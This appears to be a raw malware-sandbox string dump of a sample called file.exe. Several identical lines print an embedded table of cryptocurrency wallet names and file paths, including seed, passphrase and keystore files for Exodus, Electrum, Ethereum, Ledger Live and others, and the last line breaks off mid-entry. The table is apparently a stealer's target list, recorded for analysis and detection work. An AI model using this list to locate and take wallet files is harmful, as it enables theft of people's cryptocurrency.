Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 